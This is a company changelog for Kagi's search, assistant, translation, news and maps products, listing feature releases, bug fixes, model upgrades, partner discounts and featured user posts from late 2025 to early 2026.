  • Korean formality settings now apply to ko-KR locale @Hanbyeol
  • Decreased AI refusals when translating text and images
  • Pin "Detect Language" at the top of the source language selector for quick access @pineafan
  • Add Montenegrin as an option in Translate @mb
  • Improved keyboard shortcuts @mb

Blast from the past

Kagi's April Fools' homepage redesigned as a 1990s web portal, with a bright orange/yellow color scheme, starry border, retro logo, a "Fetch!" search button, nostalgic suggested searches like "Dial-up or ISDN?", sections for blog posts, app downloads, and community links, sidebar ads for Orion Browser and Kagi merch, and a deliberately broken PHP visitor counter in the footer.

The retro homepage we implemented for April Fools may be gone, but many of you are not ready to let go of the nostalgia just yet.

Here's a dedicated URL to bring it back whenever you want: https://kagi.com/?year=1996

This sets a cookie so your device remembers. To undo it, click Back to the Future at the bottom of the page or visit https://kagi.com/?year=present_day

Post of the week

Here is this week's featured social media mention :

Social media post from dietrich at burrito.space reading: "normalize paying for critical social infrastructure (or running it) works for search: i am a happy paying customer of kagi.com, a search engine that finally shows me results relevant to what i search for"

Follow us and tag us in your comments, we love hearing from you!

Kagi tip of the week 💡

Did you know you can set up URL redirects to reroute search results to the sites or frontends you prefer? Here's how , with examples from the community.

Kagi art

AI and ads are a toxic combo. Across the Kagi ecosystem, there are no ads, and we're actively working to keep slop out of your search results. Read more about Kagi's SlopStop initiative here .

Comic showing an "AI Slop Machine" fed by boxes labeled "ADS" via conveyor belt, spewing out piles of slop, while stick figures watch in disgust saying "So THAT'S what it's made from?!"

March 19th, 2026 - Small Web Expansion and Translate goes viral #

Kagi Small Web just got bigger!

Multiple mobile screenshots of the Kagi Small Web app displaying blog posts, topic filters, and content categories

Kagi's Small Web just got a whole lot bigger. With over 30,000 feeds and new browser extensions, mobile apps, and categories, there's never been a better way to discover the independent web.

Read the full announcement here! And check out the TechCrunch coverage .

Kagi Translate goes viral!

On March 16, we launched our latest fun language on Kagi Translate, LinkedIn Speak , and it quickly went viral on social media, generating millions of engagements. Check out some of the press coverage below:

Screenshot of Kagi's translation tool translating 'I got a new job; into 'LinkedIn speak' producing an overly enthusiastic corporate-style announcement with superlatives, gratitude, and a rocket emoji.

Also, a friendly reminder: the Kagi Translate apps launched a few weeks ago and are already earning solid reviews. Go grab them if you haven't yet!

Improvements and fixes

Kagi Search

Kagi Assistant

Kagi Translate

Mobile Apps

Kagi News

Mobile Apps

  • Time Travel : Browse news history by date. Pick any day on the calendar and read past summaries.
    Kagi Time Travel beta interface showing February 2026 calendar with blue dots indicating available historical daily summaries for most dates

  • Content Filter : Hide or blur topics you'd rather skip. Choose from built-in presets or add your own keywords.
    Filter Presets interface for selecting feed topics. Politics section is checked and expanded, showing 11 keywords including trump, biden, election, democrat, republican, congress, senate, parliament, minister, government, and politician. Conflicts section is unchecked and collapsed, showing 12 keywords available

Post of the week

Here is this week's featured social media mention :

Bluesky post from the user "Oskars" which reads: Alright, 
@kagi.com
, I'm hooked. I've been trying it out for a while, and now I don't even want to think about going back to something else. One of the easiest subscriptions to agree to. So much time saved not looking at garbage that isn't what I was searching for.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Kagi's dog mascot looking at a monitor displaying Kagibara, another Kagi character with a scratched-out face, with Kagi + EasyOptOuts logos below.

We're excited to welcome the newest addition to our Kagi Specials program: EasyOptOuts ! Kagi members in the U.S. now enjoy 25% off for life.

This is a service that removes your name, address and phone number from 200+ data brokers and people-search sites automatically. Deal is reciprocated here for any EasyOptOuts subscribers in your network who want to try Kagi.

Kagi art

"Free" search costs more than you think. With Kagi, you get zero ads, zero tracking, and AI on your terms.
A comic flowchart comparing other search (free) vs. Kagi's 5 dollars a month. The free search forces AI results with ads and takes your data regardless. Kagi lets you choose AI or not, with no ads and no tracking.

Feb 26th, 2026 - Smoothing the edges #

Kagi Search

Wolfram|Alpha widget supercharged

We're introducing a new and improved Wolfram|Alpha widget with support for rich equations, plots, better region-dependent queries, and more!

Kagi search results for 'derivative x ^ 1/2' showing a math widget with the integral of 1/(2√x) dx = √x + constant, a small plot of the function near x = 0, and the note 'no roots exist.'

Other improvements and bug fixes

PS, we've started publishing results for your SlopStop reports -- see them here . More details in the upcoming changelog.

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi Translate - iOS and Android apps

  • Fix needed for Korean word order of "total" count #9718 @Hanbyeol
  • Make “Translate with Kagi” appear directly in Android text selection menu #9801 @Matou
  • Added 'email' writing style for proofreading
  • Added setting to toggle haptics ON/OFF
  • Fixed UI issue on Android where certain elements were being drawn under system bars

Post of the week

Here is this week's featured social media mention :

Screenshot from Bluesky of a post by Bryan Culberson which states: I recently switched to paying for Kagi to replace Google Search, and it is like living in the 2010s again. Search actually works! If I had to choose 10 dollars a month for working search is worth way more to me than a Netflix subscription.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Illustrated mascots of both Kagi, a cartoon dog, and Windscribe, a small robot character, alongside the logos of both companies

Kagi is happy to be part of the privacy alliance with Windscribe, a feature-rich VPN with built-in ad and malware blocking and audited no-logs policy.

Through this partnership via Kagi Specials , Kagi members receive a 3-month Windscribe Pro trial, then lock in the Pro plan at just $49/yr for life . In turn, Windscribe members get 3 months of Kagi's Professional plan.

Community creations

If you're using Scribbles to run your blog, you can now add Small Web badges directly to your blog footer, just head to the new "Small Web" section in your blog settings:

Settings panel for selecting built-in Small Web badge icons, showing seven pixel-art badge variants in different sizes and styles with selectable checkboxes.

Kagi on TV!

Kagi was prominently featured as a private alternative to Google on KTLA 5 News, including an interview with Kagi's very own John Bardinelli, who recently joined the team as our Growth Manager.
Screenshot of Kagi Search's homepage on the KTLA channel, in a segment by Rich on Tech

Feb 12th, 2026 - Kagi Translate on Android & iOS: translate anything, anywhere #

Kagi Translate Arrives on Mobile

Kagi Translate is now available as an app for Android and iOS !

The app supports over 248 languages and offers context-aware image translation, live voice-to-voice conversations, and a rich dictionary with audio, to name just a few of its features.

Kagi Translate mobile app interface showing multiple screens including dictionary definitions, voice translation, conversation mode, translation style settings, and text editing features

Read the full announcement and feature highlights here.

Fast Company featured the launch as a privacy-first Google Translate alternative worth noticing. A similar guide was published on The Intelligence, which covers tips and tricks to help users get the most out of Android devices.

Other improvements and bug fixes

Kagi Translate apps

  • Allow removing individual translation history entries in kagi translate mobile app #9774 @alcroito
  • Kagi translate mobile app: Editing text in the middle causes scrolling / jumping around, makes it hard to edit #9758 @alcroito
  • Inconsistent Swipe-to-Go-Back Gesture in Kagi Translate (iOS) #9729 @xx
  • An option to individually delete translations on Kagi Translate #9713 @xx
  • Kagi Translate iOS App reports "No Connection" #9679 @Frank

Kagi Search

We've added a new copy emoji widget!

{search results for the query "flower emoji" showing several flower emojis that are able to be copied}

Kagi Assistant

  • We've made changes to how we phase out older or superseeded models. When a model is being phased out, your Custom Assistants using it will first show a warning for ≈2 weeks. Once the model is fully retired, the Custom Assistant is disabled until you update the model in settings. #5597 @Thibaultmol
  • Larger copy-pasted content is now automatically converted to a .txt file and works like any other attachment. This ensures the full original content is always preserved, even in very large threads that hit context window limits. In most cases, it remains fully within the context window. In longer threads, the original content is stored separately and retrieved as needed.
  • Do not re-rank Assistant threads when their title changes #8434 @dreifach
  • Remove ads/upselling for flagship AI models in Kagi Assistant #9693 @lasu
  • Kagi Assistant customize tab styling error #9688 @gromgrom
  • Performance improvements when submitting prompts on accounts with a lot of threads

Post of the week

Here is this week's featured social media mention :

Social media post from Spencer's Butte's Shadow on Bluesky, praising Kagi search, highlighting its ability to filter out SEO sites and ads, and create search bubbles for legitimate cooking sites only.

Be sure to follow us and tag us in your comments!

Fastmail supports Kagi Search

To mark Safer Internet Day, Fastmail explains why your search engine matters just as much as your email provider when it comes to privacy, and why they recommend Kagi to their users: "Adding Kagi creates a powerful privacy stack".

Addy.io joins Kagi Specials

Side by side graphic of Kagi's logo and Addy's logo

We're excited to welcome Addy.io as a new partner on Kagi Specials ! Addy.io is an email forwarding and alias service that helps protect your privacy by allowing you to create unlimited email aliases.

As part of this partnership, Kagi users can now access exclusive discounts through Kagi Specials, and Addy.io users can discover Kagi through their perks program.

Jan 29th, 2026 - Assistant reliability upgrades and Search refinements #

Waiting for dawn in search

We published a new blog post on the state of search and the critical need for open index access. The dawn of a healthier, user-centric web is possible, but it requires structural change.

https://blog.kagi.com/waiting-dawn-search

Kagi Search

  • We've upgraded our Academic lens! Try it when you want research results drawn from scholarly and professional sources. Ideal for topics like medicine, sports science, or other specialist fields
  • Added functionality for users to manually set their location, improving local search queries. This is part of our weekly incremental improvements to localised search in Kagi.
    A map interface overlay titled 'Select Location on Map' showing Melbourne with a blue marker indicating a selected location. . A 'Save location' button appears at the bottom of the interface.
  • Several accessibility improvements have been made, including corrected roles and proper fieldset semantics for our dropdown menus throughout the site, thanks to Tamara Cook, an accessibility consultant who proactively reached out to us via our support email. Thank you very much for the input!
  • If search fails because no upstream sources responded in time, show Click to Retry #7795 @kirkmc
  • New favicon pixelated when default search engine (Firefox?) #9585 @Replica6
  • Related search suggestion for current search #7781 @Keli
  • Unable to Renew Plan After Reaching Limit in Kagi Assistant #7152 @0rb
  • Orion+ renewal date is in the past #9608 @marcel
  • Control Center is accessible when browsing via privacy pass and features do nothing #9588 @Sludge
  • False summary of wikipedia article #5007 @greyfivenine8244
  • "uploaded file" appears in web search when switching from image search #9566 @Arlo
  • Support define:<term> #6040 @yeri
  • Mobile back to top/search appears too easily #8215 @Numerlor
  • Hide Stats Button Missing #9065 @Timmy256
  • Kagi light theme issue on Steam embedded browser #8384 @JulianGro
  • Programming lens doesn't work #8310 @Khyta
  • Make Wikipedia bang/snap region neutral #8069 @Thibaultmol
  • Incorrect timezone for Kazakhstan #8964 @mxp
  • Related search suggestion for current search #7780 @Keli

Kagi Search Android

Screenshot of the Kagi Browser General Settings interface. It displays multiple options with the setting Open in External Browser highlighted and toggled on.

  • The app now follows the "Open in External Browser" setting, opening search results either in-app or in your default browser

Kagi Assistant

  • Recommended models are now more useful to users. We clearly outline which base models we recommend: best fast (speed), best balanced (speed<>depth), best overall (max quality)
    Kagi Assistant showing an open model picker menu with 'Recommended models' including Kimi K2, GLM-4.7 and Claude 4.5 Opus.
  • We've made several changes to ensure the Assistant reconnects you to any response in progress if your network connection drops or you navigate away from your browser. This means no more loading animations while you wait 🚧
  • Image generation does not work with Research Assistant #9071 @darsnack
  • Kagi Assistant — attached files don't remain attached in edited queries #6652 @dreifach
  • Complex branching scenarios no longer result in duplicate entries in the branch picker or showing < 0 / x >
  • Added Kimi K2.5 models
  • Some Assistant Search Queries Don't Return #8174 @iamjameswalters
  • In Assistant, Kimi K2 (reasoning) is rated with the same speed as K2 despite being described as "much slower" #9665 @RonanCJ
  • Shared thread doesn't show read only UI after clicking away and back in #7951 @Numerlor
  • Change reasoning effort for Claude Opus 4.5 #9610 @kray

Video tutorials and guides

We have a YouTube playlist with all kinds of guides, quick tips and tricks to help you get the most out of your Kagi subscription.

Illustration of a vintage film camera with the YouTube play button logo displayed on its viewfinder screen, with strips of film reel flowing out from the camera against a gray background and Kagi's mascot dog viewing the screen

Post of the week

Here is this week's featured social media mention :

Bluesky post from Connor Feeley saying Kagi is worth the monthly subscription and that despite being on the fence about paying for search, being able to block and change the ranking of sites is worth it to him

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Kagi art

Technology should serve you, not trap or burden you.

Two-panel comic comparing how technology is versus how it should be. Left shows a stick figure trapped inside a blue screen, right shows a figure confidently holding technology as a tool.

Jan 15th, 2026 - New Year tune-up: smoother everything! #

Kagi Search

Kagi Search Android app

We’ve made meaningful improvements to the Kagi Search app — faster performance, smoother overall experience. If you’re on Android, give the update a try.

We also hope this makes it even easier to share Kagi with the people you care about. Let us know what you think !

  • Improved app startup time
  • Updated search home screen with native text editing
  • Updated home screen widgets with faster access to Translate, Summarize and Assistant
  • Add settings to Kagi Search app to autofocus the search bar on launch and to move the search bar to the bottom #9042 @conradsrc
  • Improvements/fixes to the Android app screenshots #5019 @Niraj
  • Android app: Pressing Enter on a physical keyboard should search #8838 @ItsHarper
  • Android app: image, news... etc don't stay selected in the first screen #7207 @Ronzino
  • Android Share Menu: "Assistant" option appears twice, first instance should be labeled "Search" #8773 @artemp84
  • Image Search With Camera #5032 @Wes
  • Add voice search #3270 @Browsing6853
  • Launching translate from the Android widget is very slow #8453 @zslayton
  • Fixed login for Github connected accounts

Other fixes and improvements

Kagi Assistant

  • We upgraded to GLM 4.7 (with thinking variant)
  • Case-agnostic alphabetical sorting for tags #8967 @lolroger
  • Make searching on/off more clear
  • Special characters like German Umlaut (ä, ö, ü etc.) are broken when customizing Assistant #9501 @Felensis
  • The first letter(s) of Grok 4 responses are cut #9484 @4fzx6
  • Problem with unicode characters in assistant's output #9345 @chbug
  • Kagi Assistant Thread Search Performance degradation (WebKit?) #9462 @tockrock
  • Diacritics in filenames prevent document analysis #9361 @noquierouser
  • Allow immediate typing when you load the Assistant #9401 @Thibaultmol-kagi
  • Research (Experimental) can now generate and edit images
  • Model selection window breaks into two lines in CJK languages #9032 @Hanbyeol
  • Kagi Assistant: Renaming a thread does not allow you to select single words or characters in the thread name #8909 @__
  • Assistant lens dropdown sometimes lights purple with no lens selected #9169 @howie
  • Message info now includes timestamp of when the prompt was submitted

Kagi News

  • Time Travel mode to access past daily summaries - available to all during beta, subscriber-only after
  • Paywall indicator for paywalled domains
  • Keyboart shortcuts for navigation do not work as expected @mr-f00
  • Wide screen mode @xatier
  • Added Estonian as UI language @Tarpsvo
  • Heat index graph does not update when refreshing news from notification #9547 @ashemedai
  • Allow user to set a universal reading level for category #9531 @cakeboss
  • Ordering Sources List in Kagi News #9450 @catfriend
  • Links to source articles should be actual links #9273 @r5x

Kagi News Apps (iOS and Android)

  • Faster app launch and improved offline support
  • Pull-to-refresh added to the feed
  • Category settings now include search for easier discovery
  • Sources section in story view now shows the number of publishers and articles
  • Support for selecting multiple content languages, stories are automatically translated to your primary language when needed #8822 @LordDuckingling
  • Exception messages are now localized for better clarity
  • Improved image caching to reduce local storage usage
  • Enhanced layout responsiveness on wide screens, including iPads and tablets
  • General UI improvements across the app

Kagi Translate

  • Help documentation redone (including detailed information about what you can do with URL paramters with Translate)
  • Pinned languages and language history are now synced across devices if settings syncing is enabled
  • Improved speech-to-text
  • Background processing for document translations - start a job, switch tabs or close the browser, and download later
  • Chinese localization tweaks @CTAO
  • Alternatives button does not animate when only two characters are selected @CTAO
  • No minimum text box size causes mobile view to become unusable below certain height #9499 @BenMacphail
  • Japanese Input Issues on Mobile #9496 #9495 @TusedayGhost
  • Clicking 'Show More' long romanicized text hides the box #9394 @theDoctor
  • Alternative translation descriptions appear in target language #9431 @theDoctor
  • Dictionary view pulls in other language tags and categories #9419 @ashemedai
  • Duplicate language suggestions for "Detect Language" #9416 @dreifach
  • Make buttons in Dictionary actual hyperlinks instead of js links #9408 @Thibaultmol
  • Improve 'Dictionary sections' in Kagi Translate #9407 @Thibaultmol
  • Document Wikitionary usage within Kagi Translate Dictionary #9405 @Thibaultmol
  • Backdrop blur doesn't work in Safari on the translate pop-up controls @Carl

Kagi Maps

Post of the week

Here is this week's featured social media mention :

Social media post where user Freddie Gilbraith shares that after a year of using Kagi search, unpersonalized results are consistently better than Google's, suggesting search personalization benefits advertisers over users. Kagi HQ replies explaining their paid search model doesn't track queries, load analytics, or link searches to accounts, keeping searches private and anonymous.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

2025: Year in Review

Explore the major updates, product launches, milestones and press highlights that defined last year for Kagi.

Kagi logo with '2025: Year in Review' headline on a light background with decorative orange stars and tennis ball icons. Text reads 'This was a big year for Kagi, full of milestones, product launches and team growth. Here are some of this year's highlights

Windscribe partnership & privacy alliance

Three illustrated company mascots belonging to Ente, Windscribe and Kagi in transparent bubbles floating in space. The background features a dark navy starfield with asteroids, stars, and hexagonal geometric patterns.

Kagi has partnered with Windscribe, Notesnook, Addy.io, and Ente to create a privacy-focused alliance. Read the announcement here, and check out our current Kagi Specials .

Kagi around the web

Dec 18th, 2025 - Popular areas land in Kagi Maps #

Kagi Maps

We're continuously improving Kagi Maps, and with the latest release we've added a new data layer: Popular Areas. It highlights the busiest and most frequented spots when you're exploring a new city.

Two side-by-side mobile screenshots displaying map features on kagi.com. The left screen shows a map view with arrows highlighting a layers icon and a 'Popular Areas' option within the layer menu; the caption reads 'Addition of Popular Areas'. The right screen displays business details for Black Crown Coffee Company, with arrows pointing to a menu button and a 'Report an issue' tooltip; the caption reads 'Additional Data & Ability to Report An Issue'

New Global Map Layer:

  • Highlights most popular areas where people congregate near Cafes/Restaurants/Shops/Cultural-Centers

POI Infoboxes have more 3rd party external links:

  • OpenStreetMap, Wikipedia, Google Maps, Apple Maps
  • Reviews on Yelp and TripAdvisor
  • Social media profiles (Facebook, Instagram, Twitter)
  • Reservations via OpenTable
  • easier-to-read opening hours with weekly schedules
  • Direct links to restaurant menus when available

Strengthening ties to OpenStreetMap Community:

  • with ability to Report Map Issues to OpenStreetMap directly. A new "Report an issue" option in Infobox connects you to OpenStreetMap's note system, where you can flag errors or suggest improvements to the underlying map data.

Additional Map Data:

  • POI data now preloads in the background for faster navigation when clicking markers or search results
  • Mobile-optimized zoom controls for smoother touch interaction
  • Sorting preferences (distance, rating, price) now persist across sessions
  • Faster POI on click load-times with use of shorterm caching
  • Middle-click support on search results and sorting buttons

Various ad-hoc bug fixes and database improvements:

  • Improved caching system for POI data reducing redundant API calls
  • Better location cookie handling using kagi_precise_location
  • Various improvements to our POI-matching algorithms
  • UI rendering fixes

Kagi Search

  • Location management is now available in settings, where you can view and update your location at any time. Kagi uses either a coarse location estimated from your IP address or, if you opt in, your device's precise location. This is stored only on your device as a cookie . It supports local-intent searches (e.g. "petrol stations near me") and sets the initial map position in Kagi Maps.
    screenshot of the Kagi settings interface with the 'Search' and 'Privacy' tabs selected. A red box highlights the 'Location' section, which contains a description of how location is determined, a 'Fetch precise location' button, and text indicating the current IP-based location
  • Incorrect geoip location #9194 @klandarey
  • Searching for 'Pop! OS (System76)' redirects to incendar.com #9053 @gigabit-jack
  • Summarizer fails on all YouTube videos, "Sorry, no transcript could be found for this video." #9278 @urrlich
  • Kid accounts cannot select a companion. #9246 @leuchtthurm
  • Quick answer responds in Indonesian, despite results being English #9237 @zq40000
  • Can't get to the consumption page from a team plan account #7265 @Thibaultmol-kagi
  • Add an indicator to the shield for websites marked by Surveillance Watch #8912 @pma_snek
  • !tr as the regional bang for Turkey #6376 @GERGE
  • Quick Answer shifts layout on mobile #9171 @hmnd
  • Context menus for inline news and videos are stuck inside the frame #9127 @pma_snek

Kagi Assistant

You can now effortlessly navigate your threads and jump to specific messages with our new thread scrollbar.

  • We've made the following model upgrades:
    • Grok 4 Fast and GPT 5 have been updated to their latest versions
    • Retired Mistral Medium in favor of Mistral Large
  • Add a column to the Custom Assistants settings table that displays each assistant's associated bang #7440 @jogojapan
  • Kagi Mobile Assistant: Tapping or holding a model name should prompt the model info box #8023 @__
  • Claude output cut off around 6500 tokens #9265 @igakagi
  • When using Web Access, Kagi Assistant searches too few sources #6149 @Mar
  • Buttons to quickly jump between chats in an Assistant thread #9232 @brrrendan
  • Right click on highlighted text cause thinking, search, plan and etc to expend #9117 @rxzlion
  • Assistant using 2024 as the search year in 2025 #8350 @blackbird2150
  • Update Grok Fast to 4.1 #9190 @mitch
  • Sharing page for Assistant broken #9176 @catwars
  • Research Assistant image generation should allow you to specify higher resolution than 1024x1024 #9156 @jmp242
  • Navigating between versions of the same prompt is broken with 3 prompts after page reload in Kagi Assistant #7134 @bsamek

Post of the week

Here is this week's featured social media mention :

Mastodon post from Gonzalo Fernandez Gomez stating: I did it. I am officially a member of the Kagi family. I upgraded as soon as I used up my trial. People said they would never pay for TV. Now everybody does. I'm pretty confident the same will happen with search. It's whether you control your search experience or advertisers do. You choose.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Is your browser a rat?

Check out this fun video we made for Orion . We also made this comic in collaboration with artist Chaz Hutton to show why we built Orion to be your trusted daily companion for the web:

Stick figure illustrations showing six internet activities with Orion Browser: web exploration, password security, data privacy, ad blocking, and tab management.

End-of-Year Community Event

Join us tomorrow, December 19, at 09:00 PST (convert to local time ) for Kagi's annual community event, covering major updates, launches, and what's next. Plus live Q&A with the Kagi team. Register via Zoom. Looking forward to seeing you there!

Dec 4th, 2025 - New Kagi Search companions and quality-of-life improvements #

Kagi Search

Introducing Kagi Search companions

You can now choose your preferred companion on Kagi Search! And more companions coming soon.

Other improvements and bug fixes

Kagi Assistant

  • We've made the following model upgrades:
    • Research Assistant now uses Nano Banana Pro for image generation and editing
    • Claude 4.5 Opus and Deepseek v3.2 have been updated to their latest versions
  • Weird recording of voice in assistant #8672 @StefanHaglund
  • GPT OSS 120B stray think tag #8951 @claudinec
  • Citation popups cropped within tables #9025 @hinq
  • Include chat title in shared chat link preview #9045 @bert

Kagi Translate

  • [Extension] Discord, Whatsapp, Telegram, Reddit integrations
  • [Extension] Redirect from translate.kagi.com/url #8503 @Thibaultmol
  • [Extension] Statistics page in setting
  • [Extension] Apply suggestions (translate/proofreading) directly from overlay #8695 @orschiro

Slop Detective

Post of the week

Here is this week's featured social media mention :

Bluesky post from ari! which says: the people at @kagi.com are incredible, never thought I'd pay for a search engine but god it's so so so good. everything works. no more slop. i truly hope they're all having great years because kagi improved my life and research so much

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Community creations

James Downs built a Kagi News app for Pebble watches:

Kagi News logo followed by 'Daily Press Summary' featuring a Pebble smartwatch displaying headlines from the Kagi News app

Check out this growing list of Kagi community creations for various devices and apps! Have one to share? [Let us know](mailto: esra@kagi.com ).

Small Web badges

Small Web initiative members can display badges on their websites to identify themselves as part of a community committed to authentic content created by humans. Grab them here! And keep exploring what the Small Web has to offer.

Collection of five Small Web initiative badges in pixel art style with orange and black color scheme, some which contain Kagi's dog mascot named Doggo

End-of-Year Community Event

Illustration of Kagi's mascot Doggo flying towards a toy yellow ball surrounded by clouds, with the text: Kagi End of Year Community Event and the date and time: December 19 at 9am PST

As we wrap up an exciting year for Kagi, we'd love to have you join us for our end-of-year community event on December 19 at 09:00 PST (convert to your local time ).

We'll share a comprehensive "Year in Review" covering Kagi's major updates, product launches, and what's ahead, followed by an interactive Q&A session where we'll address your questions directly.

How to participate:

Nov 22nd, 2025 - Kagi Hub Belgrade #

Kagi Hub Belgrade: Making the human web real

We just opened the Kagi Hub in Belgrade, Serbia!

If you’re a Kagi member, you can book up to 5 FREE reservations per month and treat the Hub as your base whenever you’re in Belgrade. It is the same space our team uses, so you will be working directly alongside the people shaping Kagi’s future. More details, including how to reserve your spot, are in this blog post: https://blog.kagi.com/kagi-hub

Having an actual physical space makes our mission to "humanize the web" feel so much more real. It is a place for Kagi members and our fully remote team to work, trade ideas, and build the tools we all wish existed.

We are looking forward to welcoming you to Kagi's first ever Hub!

Nov 20th, 2025 - Introducing Quick and Research assistants #

Kagi Assistant

Introducing Quick and Research assistants

Today, we are officially introducing Kagi Research assistants (previously known as "KI"). Read our full announcement here .

Their main strength is research: identifying what to search for, executing multiple simultaneous searches (in different languages, if needed), and synthesizing the findings into high-quality answers.

Simply choose whether to prioritise speed or depth:

  • Quick optimises for speed , providing direct and concise answers.
  • Research focuses on depth and diversity , conducting exhaustive analysis for thorough results. Research is available to Ultimate subscribers only.

To achieve this, they employ different base models for specific tasks. We continuously benchmark top-performing models and select the best one for each job, so you don't have to.

And on top of web search, we’ve added new behavioural layers and a wider toolset, including Python execution and image generation for higher-quality answers. These capabilities go beyond what was already possible in Kagi Assistant using a base model with web search. See our documentation for the full details.

Finally, a huge thank you to everyone in our Discord for beta testing this with us and providing tons of feedback along the way! 🙏

Note:

  • With this change, we set the Quick assistant as the default mode in Kagi Assistant. You can always adjust this in your Assistant Settings .
  • Additionally, we plan to migrate the q bang, currently used for Quick Answer, to trigger an Assistant thread targeting the Quick assistant.

LLMs are bullshitters. But that doesn't mean they're not useful

Yesterday, we published an opinion essay exploring the useful yet disruptive nature of LLMs. Give it a read and let us know what you think https://blog.kagi.com/llms

Colour code your Assistant tags

Now you can assign icons and colours to your tags. Spot important threads instantly.

Other improvements and bug fixes

  • Retired a handful of models. As part of a regular process, we occasionally review and retire models that are not used by Kagi customers and have been superseded by better, newer models. Saying bon voyage to: gpt-oss-20b , gpt-4-1-nano , gpt-4-1-mini , gpt-4-1 , o4-mini , o3 , grok-code-fast , mistral-large , deepseek-r1 , and hermes-4-405b . In the future we will forecast these changes with more advanced notice.
  • Various untranslated Kagi Assistant texts #5328 @MonoMatrix
  • Kagi Assistant - work on relationship between Custom Assistant and Model in the UI #8327 @RobOK
  • Show more info in dialog when using Kagi Assistants #8335 @Thibaultmol
  • Case-agnostic alphabetical sorting for assistant tags #8967 @lolroger

Kagi Search

SlopStop Update

Last week we kicked off our SlopStop initiative. Since then, the community has submitted over 3,000 reports! Our team is reviewing this data to refine our evaluation pipeline, with improvements expected to go live next week

Please continue reporting AI slop in your search results.

Kagi Translate

Post of the week

Here is this week's featured social media mention :

Haven't tried the Kagi Translate extension yet? Check it out !

Nov 13th, 2025 - Raising the shield against slop #

Kagi Search

Introducing SlopStop: community reporting to reduce low-quality AI content

Today we're releasing SlopStop, our first step in collaborative filtering. This allows our community to directly improve search quality for everyone! Read the full announcement here !

Low-quality AI content is flooding the web. Kagi’s ranking already downranks and filters much of it. SlopStop gives you a simple mechanism to help us keep results even cleaner and more authentic.

How it works:

  1. If you see low-quality AI content in web, image or video results, click the shield icon next to the result to report it. If something is flagged in error, use the same control to report the mistake.
  2. Check your reports statuses in Settings.
  3. We verify reports alongside our own signals. When a domain or channel is confirmed to primarily publish AI content, we deprioritise it in Kagi.

alt="Search results comparing AI slop detection on megik.com versus official Magic: The Gathering website on magic.wizards.com"

You can read more about this initiative in our annoucement blog post or in our documentation .

Highlighting surveillance actors

A screenshot of a Kagi search results page for NSO group. The page shows various search results, news articles, and a domain info panel on the right side. The domain panel highlights the label 'Known Surveillance Technology Provider'. This label serves as a classification or warning indicator about the company's role in providing surveillance technology.

We've integrated with Surveillance Watch , an interactive database that documents surveillance and spyware entities. When you visit a domain on their list, we'll display a banner to alert you.

Other improvements and bug fixes

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi News

  • Improved story filter to prevent generation of mundane news (non-news) @petelingo
  • Less emotional/screaming TTS @hsiktas
  • Chaos index experimental feature broken on mobile @xytronix
  • Search and content filter should consider sub-category @laiz
  • USA | Austin, TX category returns a 404 when navigated to directly @loganmccaul

Kagi Summarize

  • 300+ languages added for mobile users
  • Improved layout for right-to-left languages on mobile
  • Liquid Glass design for iOS users

Post of the week

Here is this week's featured social media mention :

Post on Bluesky by Emily Hunt which reads: I saw a colleague use Google to search for something today, and I forgot how much easier it is (thanks Kagi!) when you don't have to scroll through a sloppy AI answer & loads of sponsored links to get what you need

Follow us on your preferred social media platform and tag us with your feedback!

Oct 23rd, 2025 - Go deeper with Quick Answer #

Quick Answer gets an upgrade

If you use Quick Answer on Kagi Search, you already know it finds relevant content fast. Now we're taking it even further as a powerful research tool:

Built-in follow-ups . Every answer now comes with three suggested follow-up questions to keep the momentum going.

A screenshot of Kagi search results for what type of radiation does the sun emit?'. The quick answer section highlights visible light, infrared radiation, and ultraviolet (UV) radiation as primary emissions, along with radio waves, microwaves, X-rays, and gamma rays. A knowledge panel on the right shows an image of the sun with text about 'Sunlight' and its electromagnetic radiation.

Seamless transition to Kagi Assistant . Your conversation thread carries over automatically so you can continue exploring instantly.

A close-up screenshot of the 'Quick Answer' section from Kagi search results, detailing the types of electromagnetic radiation emitted by the sun, including visible light, infrared, UV, radio waves, microwaves, X-rays, and gamma rays. It also mentions the beneficial and detrimental effects of UV radiation.

Mobile now has its own dedicated experience. Use the new full-screen view and input field to ask your next question. You can switch back to the Search results page at any time by tapping the magnifying glass.

The goal is for your research to feel less like a chore and more like following your curiosity wherever it leads.

Privacy Settings

  • As we continue building tools for both greater privacy and anonymity, we wanted to make this information easier to find. Our new dedicated privacy page puts everything in one place: our Privacy Policy , Privacy Pass , Tor access , and privacy-preserving payment methods.

A screenshot of the Kagi Privacy Settings page, showing information about Kagi's privacy policy, Privacy Pass feature, and options to download Kagi Privacy Pass for various browsers and Android. There's also a section for 'Hide kagi.com Referrer' with a toggle switch.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

Kagi News

  • Single page mode (Sequential, Mix, Random) setting [web]
  • Add TTS, Simplifier and Anki flash card generation for Kagi Search subscribers [web]
  • Implement sharing [mobile]

Kagi Maps

October 17th, 2025 - Autumn patch notes & a new Kagi Special #

Kagi Specials

Our Kagi Specials initiative is expanding. Today we are adding Notesnook , the privacy-first note taking app.

Illustration of Kagi's mascot, a cartoon dog, holding a notebook with the Notesnook logo on it and a pencil, with two yellow padlocks floating on either side

Kagi members will get a 10% lifetime discount to Notesnook, and Notesnook members will get a complimentary 3-month subscription to the Kagi Professional plan. Visit our Specials page or learn more about this wider initiative.

Kagi Search

Kagi Assistant

Kagi News

Kagi Translate

  • Language complexity setting for translation/proofreading @laiz
  • Add Continue in assistant button 789 @yeddyfit
  • Wordstar translation fixes 794 @tux0r
  • Simplified TXT export for translation history 792 @fotland
  • CJK detect language prioritization setting @リボーン
  • Definition meaning equivalents @リボーン
  • Move romanization directly under input/output on desktop @p0ly60n
  • Proofreading adding em-dashes when not present in original text @alexchadwick
  • Translating to simplified chinese leaves some word in the source language @CTAO
  • Dictionary throwing "Failed to search dictionary. Please try again." #8651 @kayo

Kagi on Socials

Here is this week's featured social media mention :

Social media post by Brambleminster Gollyhatch on Mastodon stating: 'After a couple of months of using @kagihq, having to use Google on someone else's computer kinda feels like using your aunt's virus riddled Windows XP desktop with IE6 and no ad blocker.'

